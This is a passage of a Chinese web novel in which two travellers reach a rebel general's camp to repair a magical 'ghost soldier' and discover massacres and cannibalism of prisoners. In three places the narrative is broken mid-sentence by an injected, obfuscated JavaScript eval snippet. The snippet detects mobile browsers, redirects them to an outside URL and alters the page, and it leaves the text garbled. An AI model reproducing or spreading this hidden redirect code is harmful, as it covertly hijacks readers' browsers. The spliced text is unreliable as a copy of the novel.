“将他们的手都绑起来,蒙了眼睛带走!”另一位士兵道。 剩下的几人走上前,用麻绳捆住江远倾的手腕,并给他的眼睛蒙了黑布。随后解下树上的周厉,将他身上的刀收走,也一并捆住蒙眼。士兵们押着二人朝未知的方向行去。 周厉边走边凑近江远倾悄悄道:“你是不是知道那里有陷阱?” 江远倾一味地走着也不应答,周厉气得提高了音量:“你明知道那里有陷阱还让我去!” “说什么呢?闭嘴!”身后的士兵用长枪拍打周厉的后背。 “我也是迫不得已,得罪了。”江远倾低声回道。 周厉只得将怒气都吞进肚子里,一脸忿忿不平地继续行走。 25.第 25 章 眼睛蒙上黑布之后,江远倾一开始还试图记住方向,可那些士兵似在故意绕路,绕了许久才终于停下来。 听着耳边的人声,江远倾意识到他们终于来到军营门口。 穿过军营门,脚步声和人声愈发密集,时不时还有风吹布幔发出的“哗哗”声,江远倾猜测自己已经身处孙军的营帐之中。 忽然,那些士兵再次停下脚步,随即传来攀谈声。 “我知晓了,你们将他二人交于我便好。若真能治得,我定会在将军面前替你们多多美言几句。”一个高昂浑厚的声音说道。 从声音听去,江远倾判断那人的年纪大约在而立之后,不惑之前。 士兵连连道谢,随后脚步声渐渐远去。 眼前的黑布被一只粗糙的手蓦地扯开,面前站着一位男子。那男子的穿着与先前的士兵不同,年纪和江远倾猜测的差不多。 江远倾已经将他从头到尾端量了一番,却发现那人仍盯着自己,神色古怪。 “你是……江公子!?”他的眼睛忽地闪着亮光,脸上又惊又喜。 江远倾却一脸疑惑:“阁下是……?” “江公子不认得在下,在下可认得江公子。几年前江老爷设下粥棚,我去讨过吃食,那时还是江公子你帮在下盛的粥。” “原来如此,恕远倾眼拙。”江远倾躬身行礼。 “别这么说,排队吃粥的人那么多,江公子哪能每个都记得?”说着,那人解开捆住江远倾手腕的绳索,“对了,在下姓郭名泰,否极泰来的泰。” “这位是……?”郭泰望向江远倾身后的周厉。 “在下姓周名厉,你唤我周厉就好,当年我也曾去江公子的粥棚吃过粥。”周厉回道。 “真是无巧不成书啊!”郭泰喜笑颜开,也解去了周厉手上的绳索。 “敢问郭兄,怎得跟了孙怀野谋前程?”江远倾忍不住道。 “嘘。”郭泰连忙做噤声状,拉着江远倾走到一旁,“军中耳目众多,还是小心为好。我来并非自愿,只是孙将军见我识得几个字,便拉我过来做了文书。孙将军待我尚可,在军中也不至于挨饿,我便留了下来。” “可是孙怀野杀了宁王,乃是死罪,朝廷定会派人前来平叛,郭兄还要跟着孙怀野么?” “我知道江公子是为我好,可如今世道艰难,我若不来这儿,也迟早会饿死。孙将军治军有道,可朝廷对我们的死活不管不顾,跟着孙将军,说不定能闯出一片天来。” 江远倾无奈地叹了口气:“郭兄可有妻儿子女?他们也愿跟着孙怀野铤而走险么?” 郭泰的神色瞬间黯淡,声音也变得低沉:“他们……他们都死了。” “是在下唐突了。”江远倾心中愧疚不已。 “无妨。”郭泰脸上挤出一丝笑容,“江公子,听那些士兵说你们能医得?是真的么?” “当真,不过郭兄能否告诉在下受伤的那人姓甚名谁?他受伤时都发生了什么事?” “这些事当然能说得。”说着郭泰叫了周厉一起旁听。 “受伤的那位叫董诚,善使长枪,是将军的亲兵。听说是跟随将军占领一处村落时受的伤,那时我们的人正与官兵交战。董诚原本还好好的,平日里也十分勇猛,只是那天他打着打着突然呆站在原地,长枪也掉在地上。周围的官兵见他没了还手之力便朝他身上砍了一刀,幸好华义救了他。” “华义?”江远倾佯装疑惑的语气。 “哦,华义也是孙将军的亲兵,长得人高马大,善使刀。” “你们将军的亲兵是不是有四个人?”江远倾问道。 郭泰瞪大了眼睛:“你怎么知道?剩下的两人一个叫申子文,一个叫申子武,听将军说他们是孪生兄弟。我也辨不清谁是哥哥谁是弟弟,只知道一个善使弓箭,一个善使长剑。” “是因为他们太过相像么?”周厉插嘴道。 “这倒不是……”郭泰皱了下眉头,面露难色,迟迟未有言语。 “罢了,待会你们也能见到他们,提前和你们说也没什么。”说着郭泰的语气忽然变得神秘,“将军的四个亲兵虽说各有所长,勇猛无比,但着装甚是怪异,行为举止也十分古怪。” “怎么个古怪法?”周厉继续问道。 “这四个人统一身着黑衣黑袍,还时时刻刻戴着黑色的兜帽,似见不得人一般。平日里从不说话,不与其他士兵攀谈,将军也不准我们与他们交流。他们只跟随着将军,将军在哪里,他们便在哪里。” “如此古怪?”周厉语气惊奇道,说完与江远倾对视了一眼。 “我们平时只能根据身形和武器辨认,但那对孪生兄弟身形一致,我们也不知是哪位使的弓箭,哪位使的宝剑,将军也不许我们多问。” “孙将军不在营帐之中么?”江远倾问道。 “将军带着他的亲兵出去了,看这时辰应该快回来了。”郭泰瞧了眼天色,此时夜幕已经降临,天上悬挂着一弯新月。 话音刚落,远处传来密集的马蹄声。 几匹骏马披着夜色从人群中穿过,两侧的士兵见到领头的那人无不下跪行礼。 最前头的是一匹白色战马,马鞍上的人身姿挺拔,威风凛凛,身上披的战甲在月光下闪着耀眼的寒光。 他身后紧紧跟着三个黑影,只有人形没有人脸。骏马奔腾,黑色的袍摆在风中飞舞,勾画出三个略显僵硬的身形。 “骑着白马的便是孙将军。”郭泰朝江远倾说道。 随着马蹄声越来越近,江远倾也看清了孙怀野的相貌。他一头杂乱的黑发束起,脸颊两侧的线条十分硬朗,额头宽阔,一双深邃的眼眸在月光下看不清眼神,像是两个黑洞深不见底。 离近时,孙怀野收住缰绳将马勒住,随即翻身下马,身后的三个黑影也跟着下马。几个士兵过来将马牵走,孙怀野领着三个黑影朝江远倾他们走来。 江远倾悄悄地将他打量着,只见他留着一撮短须,脖子间隐约有一块红色的斑点,面皮上有不少风吹雨淋的痕迹,但仔细瞧着,他比自己不过年长十岁。他走过来时神色镇定严肃,凹陷的眼眶使得他的神情看起来有些凝重。 借着月光,江远倾终看清孙怀野的眼神。他的眼神复杂多变,刚开始还十分警惕,不经意间已将在场的人都扫视了一遍。可之后他眼中的锐利又少了半分,取而代之的是毫无感情的漠视,似将所有人都不放在眼里。 冷漠中隐藏着窥伺,江远倾触及孙怀野的目光时便觉得这人不近人情,难以对付。 见孙怀野走来,郭泰忙迎上去。 “将军,军营外的士兵领了两人过来,说是……” 郭泰的话还没说完,孙怀野便抬手制止了他:“今日先登城墙的是谁?” 这时一个士兵快步走来,扑通一声跪在孙怀野面前。 “卑职不才!”那士兵高声回道。 孙怀野严肃的神情瞬间堆满笑意,脸上的肌肉聚在一起,喉咙里发出爽朗的笑声。 “好!有种!你叫什么名字?” “卑职常小二。” “本将军记住你了。郭泰,攻城前说的若是先登便奖赏多少银两来着?”孙怀野转头朝郭泰问道。 “禀将军,是二百两银子。” “好,那本将军就赏你三百两。” 常小二猛地抬头,一脸诧异地望着孙怀野。 “怎么?嫌少么?” “不不不,多谢将军恩典!”常小二激动地朝地上磕了好几个响头。 孙怀野走上前扶起常小二:“下回你若还是先登,本将军就让你做我的亲兵,往后升官发财少不了你的。” “卑职定当竭尽全力,为将军效劳!” 孙怀野听了这话满脸欣慰,并朝一旁的士兵道:“带常小二去领银子!” 见士兵领了常小二退下,孙怀野脸上的笑容忽然消失,一双冷厉逼人的眼眸盯着江远倾和周厉。 “这两个人哪儿来的?” 郭泰连忙上前禀告:“将军,他们是军营外的士兵带进来医治董诚的。” “你们是什么人?”孙怀野的眼中仍透露出些许的不信任。 “禀将军……” “让他们自己说。”孙怀野不耐烦地打断郭泰,目光投向江远倾。 江远倾瞥了眼周厉,随即二人一起朝孙怀野行礼。 “在下姓江,名远倾。” “在下周厉。” “江远倾……”孙怀野思忖了片刻,“这名字好生熟悉。” “孙将军先前在宁王府中或许见过家父。”江远倾话刚说完,便见郭泰一脸惊慌地盯着自己,周围的士兵也纷纷将目光投了过来。 孙怀野的嘴角明显抽动了一下,面上的神色也变得阴沉,眼中顿时露出凶光。 周厉看他这副模样,悄悄将手伸向腰间,却忽然想起自己的刀早就被收走。 “将军!”郭泰忽然跪在地上,满脸的惊恐,“是属下没有提前告知,他们乃是无心之失,望将军恕罪!” “郭泰,你慌什么?”孙怀野揪住郭泰的衣裳将他提起,“本将军何时说要怪罪他了?” 孙怀野看向江远倾,脸上露出奇怪的笑容:“你是江风山的儿子么?” “正是,远倾初来乍到,若有冒犯之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他沉思片刻,语气沉稳道:“骞城兵变时,我命鬼人杀死守城的士兵,打开城门将城外的军队放进来。可是没想到守粮草的士兵得到了风声,一把火将骞城的粮草烧了个一干二净。于是,我让鬼人带着城外的军队将骞城的男子都赶到一起,当着那些骞城士兵的面,全部处死。” “什么!?你怎么能这么做?杀了宁王还不够,你居然还屠杀骞城的百姓!?”周厉瞋目切齿地瞪着孙怀野,眼中的怒火熊熊燃烧。 “不许在本将军面前提他的名字!”孙怀野怒气冲冲地拍打着桌子,他的声音震耳欲聋,营帐里的陈设都随之震动。 周厉被他这一声吼叫震慑住了心神,营帐内顿时陷入一片寂静。 江远倾站起身,将周厉拉到一旁,朝孙怀野道:“将军不想听到那个人的名字,也许是有着旁人所不能体会的难处。我们来本就是奉契约神之命修复鬼人,将军的私人恩怨与我们无关。只是将军在与华义四人签订契约时曾许诺,要带领鬼人为黎民推翻不公,造福百姓,那么屠城的行为是否有悖契约?” 孙怀野冷笑一声:“如果我违反了契约,契约神还会叫你们来修复鬼人么?没有强大的军队,何谈造福百姓?屠城也是为了军队,那些人只要活着就是威胁,迟早有一天会成为我的敌人。更何况,真正想要骞城百姓死的不是我,而是那些烧掉粮草的骞城士兵。我的人尚且都饿着肚子,哪里有多余的粮食来养活那些百姓?人只要吃不饱就会造反,我为何要给他们这个机会?” “你说的是什么鬼话?”周厉走上前怒喝道,“你那些士兵的命是命,骞城百姓的命就不是命么?你用鬼人去杀百姓,能不出差错么?” “放肆!本将军的军令岂容你说三道四?自古以来,屠城的将士比比皆是,你以为当今皇上是凭借你这种慈悲心夺得江山的么?” 江远倾连忙将周厉推开,站在两人之间,并朝孙怀野道:“将军认为自己没有过错,可鬼人不见得也这样认为,换句话说,是董诚。虽说契约神已取走他的魂魄,可为了他们能够正常行动,一般还会在鬼人体内留下一丝神识。” 孙怀野将目光投向一旁的董诚:“你是说,董诚认为本将军做错了,所以才会失灵?” “远倾目前还无确切的证据,只是不能排除有这种可能。” “既然你不确定,那就不要妄言!本将军做的一切都是为了军队,本将军没有错,更没有违反契约!你们只需修复鬼人,让他能够重新在战场上冲锋便好。” 说完孙怀野扔下江远倾和周厉二人,大步朝营帐外走去。 26.第 26 章 昏黄的烛光照在营帐内两人的脸上,晚风吹动门帘,露出一条时有时无的缝隙。 周厉站在门帘旁,透过缝隙注视着营帐外燃起的火堆。火堆周围坐了几名士兵,他们正端着陶碗大口喝粥。 江远倾轻轻拨开董诚的衣裳,露出被刀砍断的骨头,利用飞红山典籍里的步骤,先用法力将骨头小心修补好,之后牵引黑雾重新连接。待黑雾开始有序流动,并流遍全身时,就算修复好了。 江远倾坐在床沿静静等待董诚的反应,只见他的一只手臂轻轻抖动,随后缓缓坐起身。虽然他的头上缠满了黑布,但江远倾仍能看出他沉睡许久后的迷茫。 “你说,契约神真的不认为孙怀野违反契约么?”周厉一脸愁云道。 “契约神作为一个上古神兽,经历过涿鹿之战,又见过凡人世世代代的生死。或许,他比我们更了解凡人,也更了解战争。”说完江远倾将董诚身上的黑布一一裹好。 “他究竟是了解战争,还是纵容战争?毕竟凡人的先祖和他有着血海深仇,他自然是最希望凡人之间互相残杀了。” 江远倾叹了口气:“这就要去问契约神了。” “如果契约神真实的目的是想看凡人自我毁灭,那我们算不算助纣为虐?” “签订契约的人都是自愿的,我们是,吴青是,那四个鬼人也是。如果说签了契约会走向毁灭,那也是我们自己选的。” “不,我日后是要当神仙的人。等我当上了神仙,我定要荡涤这世间,让凡人过上和以往不同的日子。”周厉黯淡的神色中闪出一丝光亮。 “看来周兄也成了一个吃饱饭的人。” “什么意思?”周厉挠了挠头,一脸不解。 “周兄曾经说过,志向是留给吃饱饭的人的。”江远倾走近几步,周厉的肚子突然咕咕作响。 “可是我看周兄也饿着肚子,不如先去填饱肚子,再谈志向罢。” 周厉脸上露出了尴尬的神色:“可是董诚一个人在这里不用管么?” “没有孙怀野的命令,鬼人是不会行动的。我们先去找孙怀野,告诉他已经修复好了鬼人,然后再找些吃食。” “好。”周厉一面应着,一面和江远倾朝营帐外走去。 出了营帐,外间一股米粥的香气扑面而来,可火堆旁只留下了几个陶碗,不见士兵的踪影。 “他们刚刚还在这里吃粥,怎么这会子就不见了?”周厉疑惑道。 “许是去忙别的了罢。” 江远倾朝原先郭泰的位置行去,却在没走几步后听到远处传来喧闹的人声。 他循声望去,看到大量的士兵聚集在一起,与穿着官兵制服的人混战。 一个士兵拿着武器从周厉身旁快速跑过,被周厉眼疾手快地扯住了衣裳。 “这位兄弟,发生什么事了?”周厉问道。 “战俘逃出来了,将军命我们捉拿。你们是什么人?快快躲开!”说完士兵甩开周厉的手朝人群中奔去。 “去看看。”江远倾和周厉快步跟上前去。 风中传来马匹的嘶鸣,一个黑影骑着马冲进混战的人群,将手里的长刀挥向那些挣扎的官兵。 沿途的官兵皆应声倒地,惨叫声不绝于耳。 “那是华义么?”周厉问道。 江远倾听着远处凄厉的叫声,皱紧了眉头。 这时,一个浑身是血的官兵俘虏推开重重包围的人群,晕头转向地朝江远倾和周厉的方向跑来。 他一边跑一边反复地哭嚎着:“我们已经投降了,为什么还要杀我们?为什么……” 突然,一个尖锐的声音刺破夜空,一支箭矢呼啸着飞离弓弦,重重地射在那位战俘的头上。 他的身体颤抖了一下,随即无力地倒在地上。 江远倾朝箭矢射出的方向望去,一个鬼人站在孙怀野身后,正张弓搭箭。 “孙将军。”江远倾和周厉走到孙怀野面前,“你们这是在做什么?那位战俘说的是真的么?” “你们修复好鬼人了么?”孙怀野避而不答。 “修好了,但是我们还需要观察鬼人的行动,以免再次失灵。”江远倾回道。 “观察可以,但是你们不可在军中逗留太久,更不能干涉军中的其它事宜,别忘了你们此行的目的!”孙怀野没好气地瞥了他二人一眼,转身离去。 远处的战俘已被皆数围剿,剩下的士兵们正在收拾残局。 华义骑着马从江远倾和周厉二人面前经过,他无动于衷地提着带血的刀跟上孙怀野,留下的风里都充斥着浓郁的血腥味。 郭泰快步走近江远倾,脸上仍是方才惊魂未定的模样:“江公子,你们没事罢?刚刚你们跟着将军去的时候,着实将我吓得不轻。” “没什么,刚刚孙将军只是带我们去医治董诚了,别无其他。” “那就好,那就好。都怪我,事情太多,竟忘了最要紧的事情,差点害了恩人。”郭泰松了一口气。 “那位孙将军究竟和宁王有什么深仇大恨?怎么在他的面前连提都不能提?”周厉抱怨道。 “郭兄,方才那些战俘是怎么回事?为什么他们已经投降了孙将军还要痛下杀手?”江远倾朝郭泰问道。 看他俩满腹狐疑的模样,郭泰为难地叹了口气。 “说来话长,正好军营里煮了些吃食,要不二位先随我去用饭?” 江远倾思考片刻颔首道:“也好。” 于是郭泰走在前头,引江远倾和周厉二人坐在一处火堆旁。 “来,喝粥。”郭泰递给两人各自一碗粥。 周厉道谢后连连喝了几口,江远倾接过米粥仍望着郭泰。 “你们往后在将军面前千万不可再提及宁王二字,将军下过命令,若是让他听到,轻则四十军棍,严重的还会斩首,他说到做到。不过幸好今日你们救治董诚有功,将军没有惩罚你们。” “只是提了名字就要挨打挨杀,这就是你说的待你尚可么?”周厉愤愤不平道。 “他是将军,自然有自己的一套作风。不过好在将军赏罚分明,往后注意些就是了。” “你可知孙将军和那位宁王之间有何仇怨?”江远倾问道。 “这件事情我知道的也不多,只是曾听一些最早跟随将军的人提起过。说是将军出生时的那座城里有人带头叛乱,于是先皇派宁王前去平叛。只因那城里的百姓不愿交出作乱之人,宁王视整座城里的百姓为反贼,将所有人都诛杀殆尽。后来宁王在一处破旧的民居里发现了将军,并将他带回去养在府里。” “这也太狠心了些,可是养敌人遗子不怕有朝一日被发现么?”周厉疑惑道。 “我也不知那位宁王为何要这样做,听说他在自己府中养了好几位征战时捡来的婴儿,而且还都是男婴。跟随将军的亲兵和将军一样,都是宁王府里养的孤儿。” “你是说那四位穿着黑衣黑袍的人?”江远倾盯着郭泰问道。 “正是,宁王虽然将那些孤儿养在府里,却日日苛虐,将军和那四位亲兵能活下来已属不易。” “这是什么意思?把父母亲族杀光后,还要带孤儿回去虐待?他倒不如一刀了结了那些孩子!”周厉语气愤然道。 江远倾沉思片刻道:“所以孙将军得知了自己的身世,联合其它孤儿谋杀了宁王?” “是的,据说他们为此谋划了很久,并悄悄在外招兵买马,才有了如今这番事业。” “可是朝廷终有一天会派人来此平叛,这条路终究是个险招。他虽从小受宁王虐待,但那些骞城的百姓何其无辜?他也是尝过被屠城的滋味,如今为何也做出和宁王一样的事来?”江远倾叹息道。 火堆里的火焰逐渐黯淡,江远倾端起米粥轻轻喝了一口,晚风吹拂,米粥早已冰凉。 周厉将手中的空碗放在地上,摇了摇头:“世事轮回,总有人不长记性,受苦的还是无辜的百姓罢了。” 听了周厉的感慨,郭泰也低下头,默不作声,不知在想些什么。 “江公子,从风灵城到此地需要不少时日罢?江公子怎得突然想起到这儿来?”郭泰转移话题道。 “……在下来此地办些事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“郭兄,我不是这个意思。”周厉看了眼郭泰省下来的米粥,皱了皱眉头,“郭兄,你这粥里什么油水都没有,为何别人能吃肉,你吃不得?” “……我怎么没闻到肉香?贤弟,许是你闻错了。” 江远倾看了眼周厉困惑的神情,转头朝郭泰道:“郭兄,我也闻到了肉香,你为何要装作没有闻到?” 郭泰低头沉默了半晌,终于缓缓抬起眼皮,眼神中充满了惶恐。 “这肉二位最好不要吃……”郭泰小心翼翼道。 “为何?你们行军打仗哪有不吃肉的道理?还是说这肉普通的士兵吃不得?”周厉紧盯着郭泰谨小慎微的神色。 “不是吃不吃得的问题,是这肉它不能吃……”郭泰眉头紧皱,脸上的表情扭作一团。 “这是什么肉?”江远倾的语气忽然带着些许愠怒,引得周厉不禁侧目。 见郭泰缄口不言,江远倾抬头望向空中的明月,重重地叹了口气。 “这肉是不是叫作两脚羊?” 周厉听得云里雾里:“世上哪有两只脚的羊?” 江远倾没有立即回应周厉的疑问,反而望向郭泰:“从刚刚孙怀野杀死的战俘来看,我猜这肉是不是还有个名字,叫饶把火?” 郭泰一脸震惊地望着江远倾:“江公子,你怎得知晓?” “你们在说什么?我怎得一句也听不懂?”周厉越听越急。 江远倾愤然站起身,瞳孔中闪烁着怒火,脸色铁青,双手也紧紧握成了拳头。 “孙怀野的营帐可在最中心的位置?”江远倾朝郭泰问道。 “江公子,你要做什么?”郭泰也站起身,一副手足无措的模样。 “你不说,我也知道。”说完江远倾立即转身,兀自离去。 “江公子,使不得呀!”郭泰连忙要拦住江远倾,却被周厉一把拽住。 “郭兄,他刚刚说的到底是什么意思?怎么扯到了刚刚被杀的战俘?饶把火又是什么?” 郭泰欲挣开周厉的手却被他抓得死死的,看着江远倾离去的背影,他不由得急出了眼泪。 “好贤弟,你快去拦着江公子!要是惹怒了将军,他必死无疑呀!”郭泰的声音带着哭腔。 “我不去!除非你和我说清楚!”周厉斩钉截铁道。 郭泰瞬间瘫坐在地上,绝望地盯着火堆里仅剩的最后一丝火光。 “都怪我,我怎得如此愚钝?江公子要是有什么三长两短,我可如何是好啊……”郭泰忍不住嚎啕大哭了起来。 27.第 27 章 江远倾来到军营的中心,站在一个最大的营帐前。 营帐内点了烛火,几个人影正聚在一起交谈着什么。营帐门口站着几个看守的士兵,士兵身旁点了照明的火盆。火焰熊熊燃烧,黑烟不断升腾,晚风吹过之时,那黑烟如幽灵般飞到空中,转瞬烟消云散。 江远倾在心中思索良久,终下定决心继续朝营帐走去。 “什么人?”门口的士兵厉声喝道,“将军正在商议军情,闲杂人等不可入内!” 江远倾将士兵的话置若罔闻,仍朝前迈了几步。 “站住!我说的话你没听见么?”看守的士兵抽出腰间的刀,横在江远倾面前。 “外面谁在喧哗?”营帐内传来孙怀野浑厚的声音。 那士兵忙弯腰拱手朝里面道:“回将军,不知哪里来的愣头青,属下这就将他赶走。” “孙将军!”江远倾高声道,“在下江远倾,有关于契约之事需与将军知晓。” “都说了将军正在商议军情,还不快走!?”士兵没了耐性,朝江远倾重重地推了一下。 “慢着!” 孙怀野不紧不慢道,随后营帐里出来几个人,都用奇怪的眼神打量着江远倾。 “让他进来罢,其他人都离远些!” “是!”几个士兵领着方才从营帐里出来的人朝远处行去。 江远倾深吸一口气,努力克制心中的怒火,掀开门帘进入营帐。 孙怀野靠在椅子上,只见他浓眉皱起,阴沉着脸,一双杀气腾腾的眼睛正盯着江远倾。 “你疯了么!?你是要将我与契约神签订契约的事宣之于众么?”孙怀野怒吼道。 “孙将军连吃人肉、喝人血都不怕,还怕这个么?”江远倾面不改色道。 孙怀野眯着眼睛,一脸不耐烦地看着江远倾:“你知道你在说什么么?是契约神让你来和本将军说这些话的么?” “在下说这些话不是为了契约神,而是为了那些被你杀死烹煮的战俘!” 孙怀野停顿片刻道:“你怎么知道?” “在下是契约神的人,要想知晓此事并非难事。” “你还知道你是契约神的人,你难道忘了自己为何来此么?” “我虽替契约神办事,可我也是一个有血有肉的凡人!你让你的士兵烹食战俘,实在有违天道!” 孙怀野听了这话脸上没有做出丝毫表情,他仍靠在椅子上,冷眼瞧着义愤填膺的江远倾。 “你说的天道是什么?它能让我的士兵填饱肚子么?它能让人刀枪不入么?它能让这世间永无苦难和欺凌么?” 烛光照亮了孙怀野圆睁的眼眸,他的眼中布满血丝,眼神犀利如刀,如同一头蓄势待发的猛兽。 “弱肉强食就是这世间的天道,我从小便懂得这个道理。” “将军就这么笃定自己会一直坐在强者的宝座上么?难道将军就没有尝过被欺凌的滋味?如今将军有鬼人在手,又掌控上万人的军队成了强者,怎能忘了初心、泯灭人性,将那些已经投降的人开膛破肚!?” “放肆!”孙怀野站起身,怒目横眉道,“你以为本将军不敢杀你么?” “将军有鬼人这等战争利器,杀人自然是再简单不过的事,可是如何赢得民心才是真正的强者该思量的。” “真正的强者……在你看来,什么才是真正的强者?”孙怀野的语气忽然变得异常平和。 “将军可曾看过李筌《善师篇》中这样一句话:兵非道德仁义者,虽伯有天下,君子不取。要想成为强者,不算难事,或勇或谋,皆可有所成就。但是,若失了仁义,便终究会站不住脚,被世人群起而攻之。”说着江远倾顿了顿,目光炯炯有神地望着孙怀野,“宁王便是这个道理。” 孙怀野一动不动地站在椅子旁,任凭烛光在脸上闪烁。 “你是在将我与那个阴险小人相较么?” “在下只是不想将军一错再错,宁王的下场如何,将军是再清楚不过了。” 孙怀野的嘴角浮起一丝冷笑:“你的意思本将军明白,只是强者之途如登山,要想成为顶峰唯一的胜者,就需先将其他人铲除。若只顾仁义道德,到时被踢下悬崖、粉身碎骨的就只会是你。江风山的下场如何,你这个做儿子的,也再清楚不过了。” “你……”江远倾顿时怒形于色。 “哦对了,本将军差点忘了,还有你那不明不白死在牢狱的外祖父,杨重明。” “孙将军,你不要欺人太甚!” “怎么?我说得不对么?你的外祖父和父亲难道不是一个死于仁字一个死于义字么?你心里也是如此想的,只是你不敢承认罢了!” “住口!”江远倾一脸痛苦地捂住耳朵。 孙怀野走上前,无情地将他的手从头上扯下。 “你敢说他们不仁义么?仁义又如何?还不是死在了半山腰?除了你,还会有谁记得他们生前的所作所为?仁义二字,不是你同我说的,更不是我同宁王、刘承贤或者当今皇上说的,而是站在山顶上的胜者,同山脚下抬头仰望的那群人说的!” “强者为王,败者为寇,弱之肉,强之食。只有杀伐果断的人才能成为真正的强者!” 孙怀野瞧着江远倾凄然的神色,喉中不屑地哼了一声:“你闯入我的营帐,我还当你有多大的本事,本将军都还未将事实说出来。” 江远倾缓缓抬起头,声音全没了来时的气魄,眼神里充满哀伤。 “什么事实?” “你可知你父亲因何而死?” 江远倾紧盯着孙怀野:“什么意思?家父不是在押运宁王送给皇上的万寿节礼时,被贼寇杀害么?” “那你知晓那价值连城的万寿节礼去了何处么?” “难道……不是被贼寇劫掠了么?” 孙怀野听闻忽然仰天大笑,他坐回椅子上,戏谑地望着江远倾。 “江风山押送的根本就不是什么万寿节礼,那些镖车上装的都是石头。” “……你说什么……”江远倾忽觉脑袋一阵晕眩,脚底发软,声音也变得颤抖,“怎么可能……爹爹押运前都会仔细检查一番的,怎么可能!?” “怎么不可能?当时本将军也在宁王府中。他检查了又如何?宁王还是会派人悄悄掉包。” “宁王为何要这样做?他就不怕皇上会发现么!?” “你以为江风山能将万寿节礼安然地送到京城么?这一路各处埋伏的贼寇暂且不说,还有在朝中视杨重明为眼中钉的阉党,他这一行本就有去无回,宁王有何可惧?不管是江风山还是半路打劫的阉党发现此事,他们都难逃其咎。毕竟谁也不会想到,宁王根本就没有进献万寿节礼。” 孙怀野瞧着江远倾失魂落魄的模样继续道:“鹬蚌相争,渔翁得利。此招虽险,却可以重挫杨重明和阉党两方的势力,斩断皇上的左膀右臂。只是可惜了江风山,他到死也不会想到,自己竟是为了几车石头卖命!” 江远倾听着孙怀野的话,一字一句都如同尖刀,无情地刺进他的心里。 “所以一开始想造反的不是你,是宁王。”泪水从江远倾的眼角无声地滑落。 “没错,他早就不将皇上放在眼里。” “家父也是宁王所杀么?” “这倒不是,他只是将万寿节礼掉包,江风山自有阉党来杀,他为何还要费这个劲?” “那……家父要押送的万寿节礼现在何处!?”江远倾声嘶力竭道,他浑身颤抖着,眼中噙满泪水。 孙怀野张开臂膀环顾营帐四周:“你所看到的一刀一枪,甚至是这桌上即将燃尽的火烛,都是江风山真正要押送的万寿节礼。本将军杀了宁王,夺了他府中的所有财宝,换来了这些。” 江远倾再也支撑不住,瘫坐在地上:“爹爹……您被害得好苦啊!” “宁王害了你爹爹,而本将军又杀了宁王,这么算的话,本将军于你有恩。” 江远倾擦去脸上的泪水,目露凶光道:“你明知万寿节礼被掉包,还任由我爹爹押着几车石头上路。你谋杀宁王,也不过是为了一己私利,谈何有恩!?” 江远倾站起身,收起了悲痛的面容:“在下今日来此,本想劝将军谨遵契约,勿滥杀无辜,现在想来也是白费口舌。公道自在人心,将军好自为之!” 说完江远倾愤然离去,他掀开门帘,却见周厉站在门口,眼中满是关切。 “江公子……” 江远倾对周厉视而不见,兀自朝前走着。 周厉拽住他的胳膊,他转身时满脸泪痕,眼红如铜。 “放开我!”江远倾愤怒地甩开周厉的手,却不想失手将周厉的面具打落在地上。 周厉立即松开手去捡地上的面具,江远倾回望了他一眼,心生不忍。 “抱歉,我想静一静。” 周厉拾起面具抬头看时,江远倾已头也不回地走出几丈远。 “江远倾!”周厉站在原地深深地叹了口气。 “贤弟!”郭泰站在不远处朝周厉挥手。 周厉试图将面具戴上,却发现面具裂开了几个口子,怎么也戴不上。于是他半遮着脸,走到郭泰面前。 “贤弟,江公子可还好?有没有伤着?” “他……他还好,孙怀野不敢对他怎么样,他们只是在营帐中争辩了几句。” “那就好……”郭泰注意到周厉指缝下青黑色的脸皮,“贤弟,你这是怎么了?” “没什么……是胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654325|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记,我怕吓着郭兄。” “贤弟言重了,胎记有何可惧?我跟随将军至今,也长了些见识,你这胎记和那些吃人的士兵比起来根本算不得什么。”说着郭泰看向周厉手中的面具,“是不是这面具方才摔坏了?” “只是裂了几个口子。” “可否让为兄看看?” “郭兄还会修补面具么?”周厉睁大了眼睛,语气有些吃惊。 “贤弟若是相信我,可将面具交于我修补,我年少时跟随一个木匠师父学过些皮毛。” “我自然是相信郭兄,只是军中事务繁忙……”周厉有些犹豫。 “不打紧。”郭泰接过面具仔细瞧了几眼,“好在裂口不多,贤弟,你就放心交给我罢。” “那……多谢郭兄了。”周厉感激涕零地躬身行礼。 “客气客气。”郭泰扶起周厉,眼中闪过一丝忧虑,“只是我方才见江公子气恼得很,你与他相熟,多劝解劝解他罢。” 周厉叹了口气:“我从未见过他这副模样,恐怕谁也劝不动他……” 飞红山里,江远倾独自坐在竹林下的石桌前沉默不语。 忽然,空中传来熟悉的声音,打破沉寂。 “江远倾,你今日可已将鬼人修复好?” 江远倾缓缓从石凳上站起:“修复好了,只是暂未找出鬼人失灵的原因。” “鬼人失灵?” “没错,在下询问过军中的士兵,董诚在战场上突然失灵,一动不动,这才被孙怀野的敌军所伤。” “怎会如此?本神制作的鬼人从未有过失灵。” “敢问上神,鬼人失去魂魄后是否也一同失去了凡人的情感?” “你是怀疑鬼人有了自己的想法?” “正是。” 天上的声音沉默片刻,飞红山里只剩下竹叶簌簌的声响。 “本神在制作鬼人时,为了让鬼人同正常凡人一般行动,会留下些许神识,好让他们听懂指令。能听懂凡人的话,那就避免不了会产生一丝情感。只是那如同九牛一毛的神识,也能起到让鬼人失灵的作用么?” 